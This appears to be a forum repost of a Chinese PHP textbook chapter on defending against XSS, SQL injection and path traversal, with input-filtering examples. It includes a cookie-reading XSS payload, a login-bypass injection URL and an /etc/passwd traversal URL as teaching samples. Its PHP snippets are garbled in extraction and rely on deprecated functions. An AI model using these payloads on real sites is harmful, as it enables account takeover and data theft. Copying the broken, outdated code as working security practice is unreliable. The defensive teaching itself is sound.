2.客户端恶意脚本    常见Web站点不安全的编程漏洞包括:密码漏洞、跨站脚本漏洞、不安全的存储漏洞和拒绝服务漏洞。
下面我们一起讨论跨站式XSS脚本攻击技术。
跨站式XSS漏洞主要是因为HTML没有明确区分代码和数据;其次,程序在将用户数据发送回浏览器时没有进行有效的转义,这导致包含有引号的数据被放入页面中。

一个攻击者可能利用一个客户端脚本来执行一些片断,例如JavaScriptVBScript,来窃取Cookies或其他敏感数据,这些攻击只需要通过插入一行HTML数据到我们的网站就能实施。


例如,这个攻击者可能将一些代码输入到我们网站的文本框,如果我们的程序没有过滤HTML标志,该代码将会被插入到网站数据库中,比如,图5-7所示的用户界面。

5-7

这是一个显示用户注册的页面,攻击者可能会在文本框中连续输入如下代码:

<script language='JavaScript'>alert(document.cookie);</script>

如果没经过滤就将数据插入到数据库中,在点击查看用户信息时,将会出现图5-8所示的效果。

5-8

未经验证输入的后果是,攻击者利用XSS 脚本攻击我们的网站,并有可能取得管理员登录的Cookie信息。
另外,在网站的前台页面,如果攻击者在上面的JavaScript中加入一个无限循环,可能就比较麻烦了,浏览者可能需要结束浏览器进程才能避免对话框的再次出现,那么该访问者可能再也不会进入我们的网站。
3.预防XSS攻击的方法预防XSS攻击最简单的方法就是过滤从表单来的数据,可以使用PHP函数以及数据库的过滤函数。我们使用如下函数或语句。
&Oslash;使用htmlspecialchars()解码'”,“"”,“<”,“>和“&这些HTML编码,前面我们说过使用  htmlentities()转换任意的HTML超文本实体,主要就是过滤输出(过滤<script>脚本标签等),如果允许使用HTML代码,就把输出变量用htmlentities再过滤一下,否则使用strip_tags函数。
&Oslash;strip_tags()函数会去除任何的HTML代码。
&Oslash;每当权限级别发生改变的时候,使用session_regenerate_id()函数改变sessionid,如以下代码所示。

<?php

   $str 
strip_tags($_POST['message']);

   
/* 将提交数据解码为HTML字符实体 */

   
$str htmlentities($str);

   
/* 将换行符转换为 <br /> */

   
echo nl2br($str);

   
/* 转换与替换HTML字符 */

   
$str strip_tags($_POST['message'], '<b><p><i><u>');

   
$str htmlentities($str);

   echo 
nl2br($str);

?>

复制代码
下面是一个内容过滤的完整代码:
<html>

   <
title>对输入内容的过滤</title>

   <
meta http-equiv="Content-Type" />

   </
head>

<
body>

   <
div style="width: 500px; text-align: left;">



<?
php

   
//如果接收到用户的提交请求.

   
if ($_POST['submitted'] == "yes"){

      
//清理空格字符

      
$yourname trim($_POST['yourname']);

      
//过滤文本中的HTML标签.

      
$yourname strip_tags ($yourname);

      
//将文本中的内容转换为HTML实体.

      
$yourname htmlspecialchars ($yourname);

      
//加入字符转义.

      
$yourname addslashes ($yourname);



      
//显示提交的结果.

      
echo $yourname "<br />";



?>

   <a href="Javascript:history.back(-1);">重试</a>

<?php

   
}

   
//如果没有提交,则显示表单.

   
if ($_POST['submitted'] != "yes"){

?>



<form action="" method="post">

   <p>过滤表单的内容:</p>

   <input type="hidden" name="submitted" value="yes" />

   我们的名字: <input type="text" name="yourname" maxlength="150" /><br />

   <input type="submit" value="Submit" style="margin-top: 10px;" />

</form>



<?php

   
}

?>



</div>

</body>

</html>
复制代码
&Oslash;使用相关函数:htmlspecialchars_decode($str)
该函数是PHP 5.1版本新增的函数,功能是对已经转换为HTML实体的字符做反向的操作,请见下面的脚本例子:

<?php

   $str 
'<p>HP5.1以后的新增函数 htmlspecialchars_decode() -> "</p>';

   echo 
htmlspecialchars_decode($str);



   
// 使用ENT_NOQUOTES,对引用符号不做转换

   
echo htmlspecialchars_decode($str, ENT_NOQUOTES);

?>

复制代码
除了用以上普通方法来预防XSS恶意攻击外,使用Ajax技术对XSS漏洞也有一定预防作用,有关Ajax技术请参见第19章。

5.9.2SQL注入

好像有一段时间,我们忽略了这个很早就出现的问题,在2000年前后,若干ASP网站被这种漏洞击中,多少网站一夜之间被黑客攻击。

千万不要小看这个问题,其实现在这个问题仍然存在,在一些PHP脚本中,尤其在一些开源的用户管理程序中。很多这种漏洞是因为我们编写程序和设计数据库时的漏洞造成的,所以作为工程师一定要注意。
它到底有多重要呢?

完全的解决方案为:从用户输入中屏蔽错误,去掉不合格的数据,或避开细节范围的SQL特征。其实数据库管理系统的扩展接口专门提供了避免这个问题的函数,用它们就可以防止SQL注入。

影响:数据机密性、完整性,以及能够读取的有效性,修改(MODIFY)、删除(DELETE)以及销毁(DROP)数据库表时。
下面是MySQL数据库系统自带的防SQL注入的两个函数:
mysql_escape_string()
mysql_real_escape_string()
使用上述函数的代码例子如下:

<?php

   
// undo magic_quotes_gpc to avoid double escaping

   
if (get_magic_quotes_gpc()) {

      
$_GET['name'] = stripslashes($_GET['name'];

      
$_GET['binary'] = stripslashes($_GET['binary']);

   }



   
$name mysql_escape_string ($_GET['name']);

   
$binary mysql_escape_string ($_GET['binary']);

   
mysql_query($db, "INSERT INTO tbl (name,image) 

   VALUES('$name', '$image')"
);

?>

复制代码
攻击者进行SQL注入的常用手段,多半是插入恶意的代码到我们的数据库表中,如以下代码:

<?php

   $query 
"SELECT login_id FROM users WHERE user='$user' AND pwd='$pw'";

   
mysql_query($query);

?>

复制代码
这是一段登录验证的代码,即验证用户和密码是否正确的SQL语句。任何一个要登录的用户,使用一个类似于下面的URL查询串:
http://domain.com/login.php?user=admin'%20OR%20(user='&pwd=')%20OR% 20user='就可能取得管理员的账号。
这样的攻击也很容易处理和预防,我们可以使用addslashes()函数来处理用户的输入,它会在输入的字符串中,寻找单引号('),双引号("),然后插入转义符号(\)NUL(\0)。还有其他的函数也是针对过滤输入的,如上面使用过的strip_tags()函数,另外还可在处理登录逻辑和方法上做文章,让攻击者无漏洞可钻。
附件: 您所在的用户组无法下载或查看附件
技术不分高低,只分了解先后!PHPChina是个互助友爱的大家庭,谁都可以参与!
5.10开发安全的代码

这里我们讨论如何使我们的程序运行更安全,这是开发者的职责,应该切实的把握,避免错误发生。因此,我们需要开发一些技术去避免因用户不规范输入而给我们造成的麻烦。

5.10.1用户输入验证

一个非常重要的技术是如何从用户的输入中有效验证数据,从而保护我们的网站程序与数据。我们需要检查用户输入的全部内容:不管这个数据是从CookiesGET方法或POST方法来的数据,我们都要检验。

除了在php.ini文件中把register_globals设置为Off外,还要把错误级别修改为E_ALL | E_STRICT,这样就可以阻止从外部请求的数据中生成全局变量,后面的设置是把错误级别设置为打开初始化变量的警告错误。

对于不同类型数据的表单提交,我们可以使用不同的方法来处理。如果我们需要一个参数通过URLGET方法提交一个整型值,那么在程序中就要把这个参数强制转换为一个整型值,如以下代码所示。

<?php

   
if (!isset($_GET['prod_id'])) {

      echo 
"错误, product ID不能为空";

   }else{

      
/* 强制转换为数值型变量 */

      
$product_id = (int) $_GET['prod_id'];

   }

?>

复制代码
除了上面的方法,PHP 5还提供了一组叫做ctype的外部扩展库,它提供一个非常迅速的机制,专门针对字符串内容的校验功能。
我们看一个应用ctype扩展的例子:

<?php

   
if (!ctype_alnum($_GET['login'])) {

      echo 
"输入项必须为英文字符或数字0-9。";

   }

   if (!
ctype_alpha($_GET['captcha'])) {

      echo 
"输入项必须为英文字符(大小写均可)";

   }

   if (!
ctype_xdigit($_GET['color'])) {

      echo 
"输入项必须填写一个16进制数字。";

   }

?>

复制代码

5.10.3数据过滤 - PECL filter扩展

PHP 5PECL扩展库提供了一个新功能-filter扩展。使用filter可以极大的简化表单验证的编码量,尤其是对PHP新手而言,对提高程序的安全性很有帮助,从而远离SQL注入和不充分的字符过滤处理。
可以到http://pecl.php.net/package/filter下载最新的版本。在编写本书时它仍处于beta版本。filter软件包提供了数据类型验证和数据编码两个功能,它提供以下几个主要函数:
filter_data—用于过滤数据;
filter_input—用于表单提交内容的过滤;
filter_var—变量内容的过滤,与filter_datais_int()标准函数类似。
3个函数绝大部分的功能都很类似,只不过应用于不同的场合,它们使用的参数也是通用的,如表5-5所示。
5-5

常量名称

   

FILTER_VALIDATE_INT 验证为整数,可以指定范围
FILTER_VALIDATE_FLOAT 验证为浮点数
FILTER_ VALIDATE_REGEXP 匹配一个PCRE正则表达式模式
FILTER_ VALIDATE_URL 匹配一个URL
FILTER_ VALIDATE_EMAIL 匹配一个email地址
FILTER_SANITIZE_STRING 去除超文本标签
FILTER_SANITIZE_ENCODED 对字符串使用URL编码
FILTER_VALIDATE_IP验证值是否为IP地址

下面举例说明,请见如下脚本:

<?php

   var_dump
(filter_data([email=]'dujiang@ikang.com'[/email], FILTER_VALIDATE_EMAIL));

   
var_dump(filter_data('sobooo.com', FILTER_VALIDATE_EMAIL));

?>

复制代码
该脚本会输出如下的内容:
string(15) "dujiang@ikang.com"
NULL
由于字符串“sobooo.com”因为不是邮件地址的格式,因此被过滤后,显示为NULL值。
再看下面使用filter_input验证表单的脚本例子:

<?php

   
// 如使用FILTER_VALIDATE_INT验证用户输入的QQ号码,表单有一个文本框名字为qq:

   
$qq filter_input(INPUT_POST'qq'FILTER_VALIDATE_INT);

   if (!empty(
$qq)) {

      echo 
"<p>您的QQ号码: $qq</p>\n";

   } else {

      echo 
'<p>请输入正确的QQ号码(应为纯数字)</p>';

   }



   
//使用URL 编码

   
$url "http://post.sina.com.cn/file.php?a=1&b=编码";



   
//显示被编码后的URL地址

   
echo filter_var($urlFILTER_SANITIZE_ENCODED);

?>

复制代码
3个例子比较实用,这个脚本代码可验证IP是否正确,并确认是否是内部网IP,代码如下所示。

<?php

   
// 验证IP v4地址

   
$ip "192.168.0.23";

   if(
filter_var($ipFILTER_VALIDATE_IPFILTER_FLAG_IPV4) === False){

      echo 
"$ip 是非法IP地址";

   }else {

      echo 
"$ip 是正确的IP地址";

      
//验证IP是公网IP还是私有IP地址

      
if(filter_var($ipFILTER_VALIDATE_IPFILTER_FLAG_NO_PRIV_RANGE) === FALSE)

      {

         echo 
"$ip 为内部网私有IP地址";

      }else{

         echo 
"$ip 为公网IP地址";

      }

   }

?>

复制代码
因为PHP 5.2之后已经捆绑了filter扩展,但这一功能一直在升级,你可以查看最新的input_filter动态以及源代码,包括PHP创始人lerdof的个人网站:http://lerdorf.com/php/input_filter.txt

5.10.4input_get()函数

input_get()函数用来获取外部变量POSTGET全局数组格式如下
mixed input_get ( int typestring variable_name [int filter [mixed flags [string charset]]] )
其中的几个参数含义如下所述。
type该参数值可以是以下几个值中的一个它们是INPUT_GETINPUT_POSTINPUT_COOKIEINPUT_SERVERINPUT_ENVINPUT_SESSION还有一个99目前是用来对$_REQUEST进行过滤。
variable_name:变量名。
filter:同filter_data,默认值为FILTER_DEFAULT
flags:过滤标志。
charset使用的字符集。
下面是一个使用input_get()函数的例子,代码如下:

<?php

   $search_html 
input_get(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);

   
$search_url input_get(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);

   echo 
"您已经搜索到 $search_html.\n";

   echo 
"<a href='?search=$search_url'>重新查询.</a>";

?>

复制代码
该程序输出为:
您已经搜索到e & son.<br />
<a href='?search=Me%20%26%20son'>重新查询.</a>
在上面的代码中,$_GET['search']分别被两种不同过滤器过滤,产生的值也不相同,第一行的filter执行了类htmlspecialchars的操作,第二行则进行了urlencode操作。

说明:PHP 5.1.4版本之前,不能用filter扩展库。




5.10.5路径检测

PHP应用程序应该安全地进行文件处理,在做操作时一定要进行验证,避免存取文件时访问一些系统或安全级别较高的文件,比如,用户使用如下的URL访问:
http://www.ourwebsite.com/script.php?path=../../etc/passwd
而我们的程序是这样写的:

<?php

   $fp 
fopen("/home/dir/{$_GET['path']}", "r");

?>

复制代码
这样的代码将允许打开服务器系统任意目录下的文件,这是异常危险的。
PHP中有一个basename()的函数,可以用它来引导一个路径并移动每个文件,请见如下代码:

<?php

   $_GET
["path"] = basename($_GET['path']);

   
//只有文件存在的情况才能打开文件

   
if (file_exists("/home/dir/{$_GET['path']}")) {

      
$fp fopen("/home/dir/{$_GET['path']}", "r");

   }

?>

复制代码
最好的解决方法是建立这个用户可以使用的文件白名单,我们在一个模板上建立允许打开的文件,如果有,则允许用户打开该文件。

5.10.6魔法引用magic_quotes_gpc

PHP提供magic_quotes_gpc魔法引用功能来保护我们的网站系统免受攻击,它会自动从用户的输入串中过滤特殊字符('"\\0 (NULL)),并减慢输入的过程。
检查使用magic_quotes_gpc的代码样例:
if (get_magic_quotes_gpc()) { //检查magic_quotes_gpc的打开状态

   
function strip_quotes(&$var) {

      if (
is_array($var){

         
array_walk($var, 'strip_quotes');

      } else{

         
$var stripslashes($var);

      }

   }
//end func



   // 处理GPC

   
foreach (array('GET''POST''COOKIE') as $v){

      if (!empty(${
"_".$v})){

         
array_walk(${"_".$v}, 'strip_quotes');

      }

   }



   
// 处理上传时的文件名称

   
if (!empty($_FILES)){

      foreach (
$_FILES as $k => $v) {

         
$_FILES[$k]['name'] = stripslashes($v['name']);

      }

   }

}


复制代码
PHP提供这个参数的初衷是好的,但是该功能从出现以来一直备受争议。实践表明,如果采用magic_quotes_gpc,则与不使用该函数相比,需要两倍多的内存来处理每条输入的元素,因此,如果非必要,我们可以在php.ini文件把该参数设置为关闭,不使用该功能,转用其他的方法为来处理。

5.10.7其他高效的解决方案

由于magic_quotes_gpc的效率较低我们使用其他方法来代替magic_quote_gpc魔法引用的功能如下脚本
if (get_magic_quotes_gpc()) {

   
$in = array(&$_GET, &$_POST, &$_COOKIE);

   while (list(
$k,$v) = each($in)) {

      foreach (
$v as $key => $val) {

         if (!
is_array($val)) {

            
$in[$k][$key] = stripslashes($val);

            continue;

         }

         
$in[] =& $in[$k][$key];

      }

   }

   unset(
$in);

}


复制代码
5.11小结


在本章,我们一起讨论了在PHP 5环境中,表单的基本构成、原理,并且对用户表单提交的处理方法,数据验证等做了详细的讲述。

在做表单处理上,介绍了三种方法,这样可使你全面掌握PHP对表单的处理功能,本章还讲述了不太常用但有时候也会用到的import_request_variable()函数等,希望你在查看其他人编写的源码时遇到这样的函数而不至于迷惑。

在下一章,我们将学习在PHP中对数据的加密技术。
技术不分高低,只分了解先后!PHPChina是个互助友爱的大家庭,谁都可以参与!
真不少啊,看都看不完了!~~
成功就是成为最好的你自己!
返回列表